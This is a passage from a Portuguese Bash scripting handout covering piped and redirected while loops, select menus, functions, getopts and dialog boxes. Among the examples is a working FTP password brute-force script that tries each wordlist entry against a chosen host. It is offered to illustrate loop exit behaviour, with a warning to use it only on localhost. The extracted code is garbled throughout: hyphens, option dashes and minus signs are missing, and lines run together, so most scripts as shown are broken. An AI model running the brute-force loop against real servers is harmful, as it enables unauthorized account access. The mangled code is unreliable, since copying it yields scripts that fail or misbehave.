egrep v "^#|^ *$" amigos.regiao |while read REGIAO NOMES ; do        echo e "\n\e[32;1m> Amigos do $REGIAO:\e[m"        for amigo in $NOMES ; do                echo e "\e[1m$amigo\e[m"        done        echo ne "\nEntre <ENTER> para continuar ou 'sair' para sair: "        read QUIT < /dev/tty        [ "$QUIT" = "sair" ] && exitdone

Se quiser comprovar com seus próprios olhos a necessidade de pegar a entrada de "/dev/tty" é só retirar o "< /dev/tty" naquele read dentro do loop.OBS.: Curiosamente o exit dentro de um loop que recebe dados de um pipe funciona como se fosse um break. Pra comprovar isso coloque no final do script listamigos2.sh um "echo bla bla bla" e quando o script mostrar "Entre <ENTER> para continuar ou 'sair' para sair: " entre com 'sair'.    Isso ocorre porque durante o "pipeamento" os comandos são executados num subshell (um shell a parte ou shell filho, como preferir), e o exit faz sair deste subshell.

Vejamos um exemplo onde você verá que o exit funciona como o break:

#!/bin/bash#################################################################### ***********# * ATENÇÃO *# ***********# Não use este script para atacar servidores remotos! Ele deixará# arquivos de log imensos! Useo apenas em localhost (127.0.0.1)# e veja você mesmo os rastros deixados nos arquivos de log.

Adbeel Goes Filho

Page 71: Apostila de Shell Script

   ShellScripts                                                                           71

#################################################################### Este código é só pra ilustração do texto# "Programação em BourneAgain Shell",  # Na prática mesmo ele não é muito útil.Se quiser fazer um ataque de força bruta# mais eficiente faça em C.# Veja mais sobre ataques de força bruta em um texto que o NashLeon fez em# <http://unsekurity.virtualave.net>#

# verifica se o parâmetro passado é um arquivo[ f "$1" ] || {        echo e "\e[1mErro na passagem de parâmetros\e[m"        echo "Uso: `basename $0` wordlist"        exit 1}

WL="$1"

echo e " \e[36;1m \e[37;1m ataque de força bruta via ftp \e[36;1m \e[m"read p "Host: " HOSTread p "Username: " USER

cat $WL |while read PASSdo    # 230 é o número que recebemos quando entramos com sucesso via ftp    ftp ivn << EoF | grep "^230" &>/dev/nullopen $HOSTuser $USER $PASSbyeEoF

    # $? contém o código de retorno do grep    [ $? eq 0 ] && {        echo e "\n\e[36;5;1mO ataque foi bem sucedido! \e[m"        echo e "Username: \e[1m$USER\e[m\nPassword: \e[1m$PASS\e[m"        exit 0        # lembrando que o exit funciona como se fosse break}

done

Adbeel Goes Filho

Page 72: Apostila de Shell Script

   ShellScripts                                                                           72

# $? contém o mesmo valor nãozero que fez parar o loop acima[ $? ne 0 ] && echo "Você entupiu os arquivos de log por nada, pois o ataque fracassou...Mais sorte da próxima vez!

O "pipeamento" para while também é usado no Mextract.sh.

redirecionando de arquivo para while

Agora veremos um arquivo onde eu tenho os telefones de alguns amigos. A disposição das informações dentro do arquivo é um pouco parecida com o "amigos.regiao", veja:

######################## Agenda de telefones        ########################## OBS. I: ISSO NÃO É UM SCRIPT!## Linhas que COMEÇAM com '#' serão consideradas# comentários pelo script "listartel.sh".## Use da seguinte forma:# NOME  PREFIXO TELEFONE# Com os campos separados por UM ÚNICO <TAB>.## Exemplo:# lampiao       12      12345678# mariabonita   87      87654321

# telefone "dus manu"xf      45      12431412slater  98      65451654minduin 45      54871800nash    23      65576784evil    23      54654654heko    43      56465465esc2    24      46456456

# telefone "das mina"emmanuele       87      45646545maylline        29      65654655manalaura       82      65416578erika   65      34245522

Adbeel Goes Filho

Page 73: Apostila de Shell Script

   ShellScripts                                                                           73

   Vamos ao script que se utilizará das informações de "agenda.tel":

Adbeel Goes Filho

Page 74: Apostila de Shell Script

   ShellScripts                                                                           74

#!/bin/bash#arquivo=listartel.sh#TempFile=/tmp/TEMP$$

# o egrep abaixo vai mostrar o arquivo agenda.tel# sem exibir as linhas que comecem com um caractere '#'# (considerado comentário) e sem mostrar linhas vazias.# redirecionando a saída para $TempFileegrep v "^#|^ *$" agenda.tel > $TempFile

while read NOME PRE TEL ; do        echo e "Tel de $NOME: ($PRE)$TEL"done < $TempFile# esse redirecionamento faz com o que o "read" lá no while# leia linha por linha do arquivo $TempFile

rm $TempFile

Consulta o arquivo

$ ./listartel.sh | grep emma

OBS. I: Neste esquema também é necessário pegar os dados de /dev/tty se você quiser usar o read dentro do loop.OBS. II: Se você  usar exit dentro do loop usando este esquema, ele REALMENTE SAIRÁ DO SCRIPT. Não é igual ao esquema anterior onde o while recebe dados de um pipe e o exit funciona como se fosse um break. Então repetindo: neste esquema o exit funciona normalmente!

redirecionando a saída do loop para a tela

Ficou confuso com este título? "Redirecionar a saída do loop para a tela parece ser uma coisa inútil, pois isso acontece todas as vezes." Aí que você se engana! Vamos ao exemplo onde eu mostrarei a utilidade de se redirecionar desta maneira...

Temos um script chamado retornatel.sh que pesquisa o telefone de um determinado amigo (o nome é passado ao script durante sua execução). Agora queremos pegar o telefone deste amigo e armazenálo numa variável da seguinte maneira:

FONE=`./retornatel.sh`

Só que, como veremos no script a seguir, a saída do script não é somente o número do telefone. Existe uma interface com o usuário perguntando qual o nome a ser pesquisado. Veja o script:

Exemplo:

Adbeel Goes Filho

Page 75: Apostila de Shell Script

   ShellScripts                                                                           75

#!/bin/bash# tá bom, tá bom... eu sei que não é um exemplo muito útil...# é só pra ilustrar a utilidade de redirecionar a saída do loop

FILE=agenda.tel

function gotoxy {        [ $# ne 2 ] && {                echo gotoxy: Erro na passagem de parâmetros                echo Uso: gotoxy X Y                exit 1        }        echo ne "\e[$1;$2H"}

while true; do        clear        gotoxy 5 1        read p "Nome a ser pesquisado ('sair' para sair): " NOME        [ "X$NOME" = Xsair ] && exit        if grep "$NOME" $FILE &>/dev/null ; then                break        else                gotoxy 10 15                echo Nenhum $NOME foi encontrado em $FILE.                read p "Pressione <ENTER> para continuar..."        fidone > /dev/tty

grep "^$NOME" $FILE | cut f3

Olha o /dev/tty aí de novo! :P  Redirecionando   a   saída   de   todo   o   loop   para   "/dev/tty",   fará   com   que   os   dados 

impressos  para   fazer  a   interface  com o  usuário  não sejam enviados  para  a   saída padrão e  por conseguinte não sejam enviados para a variável que está recebendo o número através do método

variavel=`programa`Desta maneira, se você  quer armazenar o telefone do xf na variável XFTEL, faça o 

seguinte:

XFTEL=`./retornatel.sh`

E então pesquise por xf. Depois é só usar

echo $XFTEL

Adbeel Goes Filho

Page 76: Apostila de Shell Script

   ShellScripts                                                                           76

20.20.select select 

O select é um comando de laço que nos permite mostrar um pequeno menu de opções para   o   usuário.   Cada   opção   possui   um   número   e   para   escolher,   o   usuário   digita   o   número correspondente a opção desejada. Vejamos a sintaxe a seguir:

select <var> in <lista de opções>;do  <comandos>done;

Como disse acima, o select vai mostrar as opções contidas em <lista de opções>, uma por linha, com um número na frente e espera que o usuário digite a opção desejada. Ao digitar a opção, o select atribui o nome da opção a variável <var> e executa os comandos. Para sair do select, é necessário executar o comando "break". Vamos a um exemplo:

select x in Iniciar Reiniciar Parar Sair; do  echo "Opção Escolhida:  $x"  if [ "$x" == "Sair" ]; then break; fi;done;

Ou   seja,   se   o  usuário   escolher   alguma opção  diferente   de   "Sair",  o   script   apenas escreve a opção. Se for escolhida Sair, ele mostra a opção, entra no IF e executa o break, saindo do select. É interessante combinar o Select com o Case. Vamos mostrar como ficaria aquele exemplo do case, de iniciar um serviço, utilizando o select, para tornar o script interativo:

select x in Iniciar Reiniciar Parar Sair; do  case "$x" in   'Iniciar' )               echo "Iniciando o serviço..."               ;;   'Reiniciar' )               echo "Reinicializando o serviço..."               ;;   'Parar' )               echo "Parando o serviço..."               ;;   'Sair'  )               echo "Script encerrado."               break               ;;   *)

Adbeel Goes Filho

Page 77: Apostila de Shell Script

   ShellScripts                                                                           77

               echo " Opção inválida!"               ;;  esacdone;

Primeiramente o select mostra um menu:

1) Iniciar2) Reiniciar3) Parar4) Sair#? 

Quando o usuário digitar um número de opção, o select executa o case e este compara a variável x com suas opções. Se achar alguma, executa seus comandos, no caso um echo. Se o usuário escolher Sair, além do echo, ele executa o "break", que interrompe o select:

virtvs@mucuripe:~/test$ ./t

1) Iniciar2) Reiniciar3) Parar4) Sair#? 1                  Iniciando o serviço...1) Iniciar2) Reiniciar3) Parar4) Sair#? 5                  Opção inválida!1) Iniciar2) Reiniciar3) Parar4) Sair#? 4                  Script encerrado.

virtvs@mucuripe:~/test$

Espero que vocês tenham pego a idéia de como funciona comandos de laços. Pelos menos sabendo a utilidade, sintaxe e como funcionam, quando surgir a necessidade, vocês já vão saber o que usar.  

#!/bin/bash

Adbeel Goes Filho

Page 78: Apostila de Shell Script

   ShellScripts                                                                           78

function Mecho {        echo e "\e[1m$*\e[m"}

# ATENÇÃO AQUI: o prompt que o select mostra é controlado pela#               variável PS3. E todas aqueles comentários sobre#               o PS1 feitas no tópico 2.2. valem aqui também.PS3="Opção: "

echo n "Entre com o primeiro número: "read NUM1echo n "Entre com o segundo número: "read NUM2

OPCOES="adicao subtracao multiplicacao divisao sair"

select opc in $OPCOES; do    if [ "$opc" = adicao ]; then        Mecho "$NUM1 + $NUM2 = $[ $NUM1 + $NUM2 ]"    elif [ "$opc" = subtracao ]; then        Mecho "$NUM1  $NUM2 = $[ $NUM1  $NUM2 ]"    elif [ "$opc" = multiplicacao ]; then        Mecho "$NUM1 * $NUM2 = $[ $NUM1 * $NUM2 ]"    elif [ "$opc" = divisao ]; then        Mecho "$NUM1 / $NUM2 = `echo "scale=2;$NUM1/$NUM2" | bc l`"    elif [ "$opc" = sair ]; then        Mecho "Tchau! "        exit    else        Mecho "Opção inválida! "    fidone

Adbeel Goes Filho

Page 79: Apostila de Shell Script

   ShellScripts                                                                           79

21.21.FunçõesFunções

Funções   são   interessantes   para   quando   você   precisa   fazer   uma   determinada   coisa várias vezes num mesmo script.       Uma função é como se fosse um script dentro do script, sendo assim ele também usa o mesmo esquema de parâmetros de um script comum ($1 para primeiro parâmetro, $2 para segunda, e todas aquelas regras explicadas em 2.4. Parâmetros com a exceção do $0, que não retorna o nome da função!). Uma função também é capaz de retornar um valor usando o "return ValorDeRetorno",  sendo que ValorDeRetorno ficará  armazenado em "$?",  vale observar também que só é possível retornar valores inteiros.

Por exemplo, se na função tiver "return 123" depois da execução desta instrução "$?" valerá 123.     

#!/bin/bash# "Hello World" usado para ilustrar o uso de funções.

function quit {    echo e "\e[1;32mTCHAU!\e[m"    exit}

function e {    echo e "\e[1;35m$1\e[m"}

e Helloe Worldquitecho "Isso aqui não será impresso"

Outro exemplo:

#!/bin/bash

PARAM_ERR=198 # Se for passado mais do que dois parâmetros.EQUAL=199     # Retorno se os parâmetros forem iguais.

function maior # Retorna o maior de dois números{              # OBS: os números comparados precisam ser menores que 257[ z "$2" ] && return $PARAM_ERR

if [ "$1" eq "$2" ]; then

Adbeel Goes Filho

Page 80: Apostila de Shell Script

   ShellScripts                                                                           80

    return $EQUALelif [ "$1" gt "$2" ]; then    return $1else    return $2fi}

read p "Numero1: " N1read p "Numero2: " N2maior $N1 $N2RET_VAL=$?

if [ $RET_VAL eq $PARAM_ERR ]; then    echo "É necessário passar dois parâmetros para a função."elif [ $RET_VAL eq $EQUAL ]; then    echo "Os dois números são iguais."else    echo "O maior número é $RET_VAL."fi

exit 0

Informações adicionais:

 O return quando executado interrompe a execução da função e a execução passa para a instrução imediatamente posterior a qual a função foi   chamada; O valor mais alto que uma função pode retornar é 256 e o mais baixo 0. Bem, é um número de módulo grande. :P Se precisar de valores positivos     maiores que 256 retorneo como negativo e depois convertao para   positivo novamente. Se quer saber mais detalhes sobre funções o capítulo 23 do Advanced   BashScripting Guide vai lhe ser muito útil.

#!/bin/bash## Código baseado em um do Advanced BashScripting Guide.# Mais informações sobre este guia em http://www.linuxdoc.org# Caso não entenda o código, faça um esforcinho! ;)

LIMITE=400

function romano {    NUM=$1    FATOR=$2    ROMAN=$3

Adbeel Goes Filho

Page 81: Apostila de Shell Script

   ShellScripts                                                                           81

    (( RESTO = $NUM  $FATOR ))

    while [ "$RESTO" ge 0 ]; do        echo n $ROMAN        (( NUM = $FATOR ))        (( RESTO = $NUM  $FATOR ))    done    return $NUM}

[ "$1" ] || {    echo "Uso: `basename $0` NUMERO"    exit 1}

[ "$1" gt 400 ] && {    echo "$1 ultrapassa o limite de $LIMITE"    exit 1}

NUMERO=$1

romano $NUMERO 100 CNUMERO=$?

romano $NUMERO 90 XCNUMERO=$?

romano $NUMERO 50 LNUMERO=$?

romano $NUMERO 40 XLNUMERO=$?

romano $NUMERO 10 XNUMERO=$?

romano $NUMERO 9 IXNUMERO=$?

romano $NUMERO 5 VNUMERO=$?

romano $NUMERO 4 IVNUMERO=$?

Adbeel Goes Filho

Page 82: Apostila de Shell Script

   ShellScripts                                                                           82

romano $NUMERO 1 INUMERO=$?

echoexit

É possível declarar função(ões) dentro de função.  

 5. Funções como comandos

Antes de começar vamos relembrar um conceito básico: quando se executa um shell script você obtém o mesmo resultado que obteria se digitasse o conteúdo do script no prompt de um shell. Com isso eu quero dizer que você pode fazer tudo que faz em um  shell  script na linha de comando, inclusive criar e utilizar funções (que é o assunto deste tópico).

Na linha de comando você declara uma função da mesma maneira que faz num script. Por exemplo, digite o seguinte na sua linha de comando:

function heko {echo e "\e[5;1;32mHekodangews, para de enrolar a mina e casa logo! \e[m"}

Agora quando você entrar com "heko" na linha de comando será impresso na tela um recadinho para o Hekodangews numa corzinha verde e piscante superfashion. =)

Veja este outro exemplo um pouco mais útil:

function SetPath {PATH=${PATH:="/bin:/usr/bin"}for DIR in "$@"; do    if [ d "$DIR" ]; then        PATH="$PATH:$DIR"    else        echo "* * * Erro: $DIR nao eh um diretorio"    fidoneexport PATHunset DIR}

E se você tiver várias idéias de funções legais que queira usar sempre em suas sessões? Vai ter que digitálas na linha de comando toda hora? Não! Para este propósito o comando "source" pode ser muito útil (informações detalhadas na manpage do bash).  Lembrase quando disse "Quando executamos um shellscript ele é executado num shell 

Adbeel Goes Filho

Page 83: Apostila de Shell Script

   ShellScripts                                                                           83

a parte (shell filho)" ?. O comando source faz com que o script seja executado no shell pai, ou seja, é   como  você   estivesse  digitando   todo  o   conteúdo  do   arquivo  na   linha  de   comando.  E   isso  é especialmente   útil   quando   temos   arquivos   com   as   nossas   funções   que   queremos   usar   como comandos.

Uma coisa legal de se fazer é colocar o arquivo com as funções que você quer usar num arquivo oculto no seu $HOME (ex.: $HOME/.MyFunctions) e no seu $HOME/.bash_profile você coloca uma linha com o comando "source $HOME/.MyFunctions".

Veja este arquivo com alguns exemplos de funções:

 #!/bin/bash## "INSTALAÇÃO":# copie este arquivo para seu $HOME:# [prompt]$ cp Mfunctions ~/.Mfunctions## depois faça o seguinte:# [prompt]$ echo ". ~/.Mfunctions" >> ~/.bash_profile## Dê login novamente ou digite ". ~/.Mfunctions" e pronto.# Agora é só digitar o nome da função.## DICA: depois de corretamente instalada, use "M<tab><tab>"#       para ver as funções disponíveis.## Funções disponíveis neste arquivo:# + Mecho# + Mcenter# + Mclock# + Mclock2# + Msetpath# + Mdica# + Marrumanome# + Mnocomments# + Mcalcula# + Mcores## Aproveite!# meleu## P.S.: graças a esse tal de "open source" você pode ler#       um código e alterálo para que se adeque as suas#       necessidades eu que fique ao seu gosto. Pois foi#       isso que eu fiz aqui! Saí olhando as funções que#       outras pessoas fizeram e arrumei do meu jeito. E

Adbeel Goes Filho

Page 84: Apostila de Shell Script

   ShellScripts                                                                           84

#       a minha principal fonte foi o funcoeszz do aurélio.#       veja em: http://verde666.org/zz#

# imprime em negritofunction Mecho {        echo e "\e[1m$*\e[m"}

# imprime em negrito no centro da linhafunction Mcenter {        local POS=$[ ( $COLUMNS  `echo en "$*" | wc c` ) / 2 ]        Mecho "\e[${POS}C$*"}

# deixa sempre no cantinho da primeira linha do console:# "[ hora:minuto dia/mes/ano ]".# Se houver algum processo em segundo plano (background) ele também indica.# OBS.: nos emuladores de terminal em que eu testei só funcionou no xterm# o rxvt não aceita os códigos de salvar e restaurar a posição do cursor# (respectivamente "\e[s" e "\e[u").function Mclock {local CIANO="\e[1;36m"local AMARELO="\e[1;33m"local SCOR="\e[m"

alias DiaMesAno='date +'\''%H:%M %e/%m/%y'\'

PROMPT_COMMAND="JOBS=\$(echo \$(jobs | wc l))if [ \$JOBS ne 0 ]; then        HEADER=\"Jobs: \$JOBS          \$(DiaMesAno)\"else        HEADER=\"\$(DiaMesAno)\"fiPOS=\$[ (\$COLUMNS  \$(echo \"\$HEADER\" | wc c) )  3 ]"

PS1="\[\e[s\e[1;0H\e[K\\e[\$(echo n \$POS)C\$CIANO[$AMARELO \$HEADER $CIANO]$SCOR\\e[u\e[1A\]$PS1"

echo e "\nMclock ativado!\n"

Adbeel Goes Filho

Page 85: Apostila de Shell Script

   ShellScripts                                                                           85

}

# Parecido com o Mclock mas fica tudo escrito no centro da primeira linha# e em um formato mais longo.function Mclock2 {local CIANO="\e[1;36m"local AMARELO="\e[1;33m"local SCOR="\e[0m"

alias Mdate='date +'\''%H:%M  %A, %e %B %Y'\'

PROMPT_COMMAND="JOBS=\$(echo \$(jobs | wc l))if [ \$JOBS ne 0 ]; then        HEADER=\"Jobs: \$JOBS    $(Mdate)\"else        HEADER=\"\$(Mdate)\"fiPOS=\$[ (\$COLUMNS  \$(echo \"\$HEADER\" | wc c) ) / 2 ]"

PS1="\[\e[s\e[1;0H\e[K\\e[\$(echo n \$POS)C\$CIANO[$AMARELO \$HEADER $CIANO]$SCOR\\e[u\e[1A\]$PS1"

echo e "\nMclock2 ativado!\n"

}

# Adiciona um diretório na sua variável $PATHfunction Msetpath {local DIRPATH=${PATH:="/bin:/usr/bin"}[ $# eq 0 ] && { echo "PATH = $PATH"; return; }for DIR in "$@"; do    if [ d "$DIR" ]; then        PATH="$DIR:$PATH"    else        echo "* * * Erro: $DIR não é um diretório"        continue    fi

Adbeel Goes Filho

Page 86: Apostila de Shell Script

   ShellScripts                                                                           86

doneexport PATH}

# eu tenho no meu home um diretório dicas onde eu vou colocando# dicas sobre programas diversos.# o nome dos arquivos são iguais aos nomes dos programas, então# quando eu me deparo com uma dica sobre o grep, por exemplo, eu# faço:# [prompt]$ cat dica_grep >> ~/grep# esta função serve para visualizar as dicas# OBS.: o aurélio que me deu ESTA dica do diretório "$HOME/dicas".# valeu rapaz! ;)function Mdica {local DICASDIR=$HOME/dicas[ "$1" ] || {        Mecho "Uso: Mdica [assunto]\n"        echo "Os assuntos disponíveis são:"        ls $DICASDIR        return}

more $DICASDIR/$1

}

# renomeia os arquivos que possuem nomes com caracteres feiosos# fazendo com que letras maiúsculas fiquem minúsculas;# letras acentuadas fiquem a letra correspondente sem acento;# e espaços em branco, símbolos e outras coisas feias fiquem# underline '_'function Marrumanome {[ "$1" ] || {        Mecho "Erro: você precisa passar os arquivos que quer renomear";        echo 'Uso: Marrumanome arquivo1 [arquivoN ...]'        return 1}

local FILE NINICIAL NFINAL DIR

for FILE in "$@"; do        [ f "$FILE" ] || continue        NINICIAL=`basename "$FILE"`        DIR=`dirname "$FILE"`

Adbeel Goes Filho

Page 87: Apostila de Shell Script

   ShellScripts                                                                           87

        NFINAL=`echo "$NINICIAL" | sed 'y/ABCDEFGHIJKLMNOPQRSTUVWXYZ/abcdefghijklmnopqrstuvwxyz/y/ÃãÀàÂâÄäÁáÈèÊêËëÉé/aaaaaaaaaaeeeeeeee/y/ÌìÎîÏïÍíÕõÒòÔôÖöÓó/iiiiiiiioooooooooo/y/ÙùÛûÜüÚúÇçÑñ/uuuuuuuuccnn/s/^/_/s/[^az09._]/_/g'`

        [ "$NINICIAL" != "$NFINAL" ] && mv  "$FILE" "$DIR/$NFINAL"done}

# visualiza um arquivo retirando linhas que comecem com um caractere# de comentário (#) e linhas vazias (linhas com espaços não são vazias)function Mnocomments {[ "$1" ] || {        Mecho "Erro: falta argumentos"        echo "Uso: Mnocomments arquivo1 [arquivoN ...]"        return}

# estou usando o more só por causa daqueles ":::::::" que aparecem# quando é passado mais de um arquivo como parâmetro. ;)more $@ | egrep v "^#|^$"}

# faz cálculos usando o bc# só pra não precisar ficar fazendo "echo <expressao> | bc" toda horafunction Mcalcula {[ "$1" ] || {        Mecho "Erro: você precisa passar uma expressão"        echo "Uso: Mcalcula <expressão>"        echo "Exemplo: Mcalcula '4^2+3*(74)'"        return 1}

# mude o valor de "scale" se quiser mais de duas casas decimaisecho "scale=2; $@" | bc}

# mostra todas as cores do console e seus respectivos códigos.# mais uma cortesia do auréliofunction Mcores {for LETRA in `seq 0 7`; do  for BOLD in '' ';1'; do    for FUNDO in `seq 0 7`; do

Adbeel Goes Filho

Page 88: Apostila de Shell Script

   ShellScripts                                                                           88

      SEQ="4$FUNDO;3$LETRA"      echo ne "\e[$SEQ${BOLD}m $SEQ${BOLD:  } \e[m"    done    echo  donedone}

22.22.Tornando seu script amigávelTornando seu script amigável 

Alguns comandos úteis que tornam seu script mais "userfriendly".

 6. getopts

Este comando serve para permitir que você use parâmetros na linha de comando de maneira mais eficiente que ficar usando as variáveis de posição de parâmetros ("$1", "$2"...).    Sua sintaxe é: 

getopts 'CadeiaDeOpcoes' variavel

Onde   "CadeiaDeOpcoes"   consiste   em  cada   caractere   que  o  getopts   considerará,   e "variavel" receberá este caractere. Para passar um parâmetro para o script você usa 'c' onde 'c' é o parâmetro. Veja este exemplo hipotético:

getopts 'ab:c' variavel

Você poderá usar os parâmetros 'a', 'b' ou 'c'. Note que 'b' é seguido de um ':', isso significa que 'b' é  um parâmetro que precisa de argumento. Este, por sua vez, é armazenado na variável OPTARG.

Mais detalhadamente, o getopts funciona assim (adaptado do "Teach Yourself Shell Programming in 24 Hours", veja Referências):

    1. O getopts examina todos os argumentos da linha de comando procurando por argumentos que comecem com o caractere ''.

    2. Quando acha um argumento começado com '' o getopts procura em "CadeiaDeOpcoes" se tem algum caractere que combine.

    3. Se combinar com algum, "variavel" receberá este caractere, caso contrário "variavel" receberá '?'.

       4. Os passos 13 são repetidos até que todos os argumentos da linha de comando tenham sido 

Adbeel Goes Filho

Page 89: Apostila de Shell Script

   ShellScripts                                                                           89

lidos.

     5. Quando acaba de ler todos os argumentos da linha de comando getops retorna um valor falso (nãozero). Isto é útil para verificações em loops (como veremos no exemplo abaixo).

 <++> BashScript/getopts.sh#!/bin/bash

USAGE="Uso: `basename $0` [h] [n nome] [e email]"

[ $1 ] || { echo $USAGE ; exit 1 ; }

# observe que 'n' e 'e' precisam de argumentoswhile getopts 'hn:e:' PARAMETRO; do

# atente para a utilidade do "case"! ;)    case $PARAMETRO in

        h) echo n "Script de exemplo de uso do \"getopts\".

Uso: `basename $0` [opções]

Onde as opções podem ser:

n nome         imprime nomee email        imprime emailh              exibe esta mensagem" ;;

        n) NOME=$OPTARG ;;

        e) EMAIL=$OPTARG ;;

        *) echo n "Entre \"`basename $0` h\" para ajuda." ;;    esacdone

[ $NOME ] && echo $NOME[ $EMAIL ] && echo $EMAIL

Adbeel Goes Filho

Page 90: Apostila de Shell Script

   ShellScripts                                                                           90

23.23.dialogdialog

O dialog não um comando específico do bash! Estou escrevendo sobre ele porque já vi muita gente querendo informações.

O dialog serve para fazer caixas de diálogo, e a sintaxe básica é assim:

dialog [ opcoes de título ] opções da caixa

As opções de título são opcionais (por isso que elas estão entre colchetes. As de caixa são obrigatórias. Para que você possa fazer agora uma apreciação visual do dialog tente o seguinte comando:

dialog yesno "Caixa onde se se escolhe Yes ou No" 0 0

Existem vários tipos de caixas, a utilizada nesse comando é uma caixa do tipo "yesno". Bem... isso foi só pra você dar uma admirada rápida no dialog. Agora vamos organizar as coisas, vou explicar alguns parâmetros.  Vá  praticando cada um desses parâmetros e vendo o resultado. Lembrese que as opções da caixa são obrigatórias!

* backtitle "texto"

Este parâmetro é  para por um título "lá  atrás". Tente   dialog backtitle "Micro\$oft Scandisk" yesno bla 0 0 e veja como o título que aparece lhe trará péssimas lembranças. =)   * title "texto"

Este vai ser o título da caixa de diálogo.

Agora vamos as opções de caixa, mas antes uma informação: Em todos os tipos de caixas existem os argumentos "altura" e "largura" (que para abreviar, eu chamarei de "alt" e "larg"), que (por incrível que pareça) servem para você determinar a altura e largura da caixa de diálogo. Se você não tiver saco pra ficar contando quantos caracteres serão usados na caixa, use 0 para altura e largura, assim a caixa terá um tamanho de acordo com texto utilizado.

* yesno "texto" alt larg

Faz uma caixa de diálogo com as opções "Yes" e "No". Se você escolher"Yes" o dialog retorna 0, caso contrário, retorna 1.

* msgbox "texto" alt larg

 Serve para mostrar uma mensagem e tem um botão de confirmação "OK". Quando você escolher 

Adbeel Goes Filho

Page 91: Apostila de Shell Script

   ShellScripts                                                                           91

"OK" o dialog retornará 0, e, assim como em todos osoutros tipos de caixas, você pode cancelar via tecla ESC, quando o dialogretornará 255.

* inputbox "texto" alt larg [string de inicio]

Faz uma caixa  de  entrada de  dados,   se  "string de   inicio"   for  passada o campo de entrada de dados será inicializado por esta string. Os botões são "OK" E "Cancel", o primeiro, se selecionado, retorna 0 e o outro retorna 1. A string que você entrar será direcionada para a saída de erro padrão, portanto, se você quer que isto seja gravado use redirecionamento de stderr (ver 3.3 Redirecionamento).

* textbox arquivo alt larg

É como se fosse um simples visualizador de arquivos texto. Use as setinhas do teclado para se movimentar. Para pesquisar pra frente use '/' e para pesquisar pra trás use '?'.

* menu "texto" alt larg altdomenu item1 "descricao do item1" \ [ itemN "descricao do itemN" ]

Note que aquela '\' lá no final da linha significa que o comando continua na próxima linha. Como o próprio nome diz, esse parâmetro é  usado para fazer menus, como por exemplo aquele do pppsetup (slackware)  onde você  escolhe qual  o  ttyS do seu modem. O item que for escolhido será impresso em stderr. "OK" retorna 0 e "Cancel" retorna 1. Veja um exemplo besta só pra ilustrar:

#!/bin/bash

FILE=/tmp/script$$

dialog title "Teste fuleiro da caixa de diálogo \"menu\"" \  menu "Qual comando você deseja executar?" 0 0 0 \  "pwd" "mostra o diretório atual" \  "ps aux" "lista os processos que estão sendo executados" \  "uname a" "exibe informações sobre o SO e a máquina local" \  "users" "lista os usuários que estão logados no momento" 2> $FILE

# Lembrese que o item escolhido será impresso em stderr. E repare# acima que eu estou redirecionando stderr para um arquivo.

RET_VAL=$?[ $RET_VAL eq 0 ] || { echo "Operação cancelada."; exit 1; }

sh $FILE

rm $FILE

Adbeel Goes Filho

Page 92: Apostila de Shell Script

   ShellScripts                                                                           92

* checklist "texto" alt larg altdalista \   item1 "descricao do item1" status [ item2 "descricao do item2" status ]

Note novamente o caractere '\' fazendo o comando continuar na linha abaixo. Este tipo de caixa é utilizado quando se quer fazer um menu onde podese escolher vários itens, você marca os que deseja e dá  "OK". Assim como o "menu", o(s) item(ns) que for(em) escolhido(s) serão impressos em stderr. O parâmetro "status" serve para você deixar um determinado item selecionado logo de início, seus valores podem ser "on" ou "off".       Veja este exemplo bem interessante (oh! finalmente um exemplo com alguma utilidade!) que usa muitos dos conceitos já ensinados até aqui, se não entender releia o código:

Exemplo:

#!/bin/bash##   "Escolhedor" de mp3z feito para ilustrar o uso do 'dialog'# no texto "Programação em BourneAgain Shell".##   Para utilizar este script é necessário ter instalado o mpg123.## + OBS.: Se o nome de alguma mp3 for muito grande podem acontecer# resultados bizarros... :/# + OBS.II: Este script não "detecta" nome de mp3z que contenham# espaços. Pois se detectasse também ocorreriam resultados bizarros.## Feito por: meleu <[email protected]># mude a variável MP3DIR e descomentea para não# precisar passar o diretório toda hora na linha# de comando.#MP3DIR="$HOME/mp3z/"FILE="/tmp/mp3.$$"NCOR="\e[m"WHITE="\e[1m"

function AjudarSair {        echo "Tente \"`basename $0` h\" para ajuda."        exit $1}

function ApagarSair {        rm $FILE        exit $1

Adbeel Goes Filho

Page 93: Apostila de Shell Script

   ShellScripts                                                                           93

}

# óia o getopts aê gente! =)while getopts 'd:n:h' OPCAO; do    case $OPCAO in    d) MP3DIR="$OPTARG" ;;    n) NOME="*$OPTARG" ;;    h) echo e "${WHITE}* Meleu's mp3 escolheitor (Tabajara, Inc.)$NCOR

Uso: `basename $0` [d diretorio] [n nome] [h]

d diretorio    diretório onde serão procuradas as mp3zn nome         nome que será procurado no diretórioh              imprime esta mensagem"       exit ;;    *) exit 1 ;;    esacdone

if [ z "$MP3DIR" ]; then  echo e "${WHITE}Você precisa indicar em qual diretório estão as mp3z.$NCOR"  AjudarSair 1elif [ ! d "$MP3DIR" ]; then  echo e "$WHITE\"$MP3DIR\" não é um diretório.$NCOR"  AjudarSair 1fi

cd "$MP3DIR"

LISTA=`/bin/ls 1 $NOME*.mp3 2>/dev/null | grep v ' '`[ z "$LISTA" ] && {        echo e "${WHITE}Nenhuma mp3 foi encontrada em \"$MP3DIR\".$NCOR"        AjudarSair 1}

CONT=1

dialog backtitle "Selecionador de mp3z" \ title "$MP3DIR" \ checklist "Escolha a música" 0 0 0 \$(for ITEM in $LISTA ; do        echo "$ITEM" "$CONT" off        (( CONT++ ))done) 2>> $FILE

Adbeel Goes Filho

Page 94: Apostila de Shell Script

   ShellScripts                                                                           94

RET_VAL=$?[ $RET_VAL ne 0 ] && { echo "Tchau!"; ApagarSair; }

# verificando se já existe um processo com o mpg123MPGPID=`ps ax format pid,comm | grep mpg123 | cut c6`[ $MPGPID ] && {        dialog backtitle "Selecionador de mp3z" \        title "O mpg123 JÁ ESTÁ SENDO USADO!" \        yesno "Deseja finalizálo para ouvir a sua lista?" 0 0        RET_VAL=$?        if [ $RET_VAL eq 0 ]; then            kill $MPGPID 2>/dev/null || {                echo e "${WHITE}Não foi possível finalizar o mpg123.$NCOR"                echo "Pode ser que outro usuário esteja utilizandoo."                ApagarSair 1            }        else            echo "Saindo..."            ApagarSair        fi}

# o sleep é pra garantir que o /dev/dsp estará desocupadosleep 1s

cat $FILE | xargs mpg123 2> /dev/null &

ApagarSair

# EoF #

* radiolist "texto" alt larg altdalista \    item1 "descricao do item1" status [ item2 "descricao do item2 status ]

Similar ao checklist porém aqui só se pode fazer uma escolha, quando você seleciona um item desmarca outro.  

Adbeel Goes Filho

Page 95: Apostila de Shell Script

   ShellScripts                                                                           95

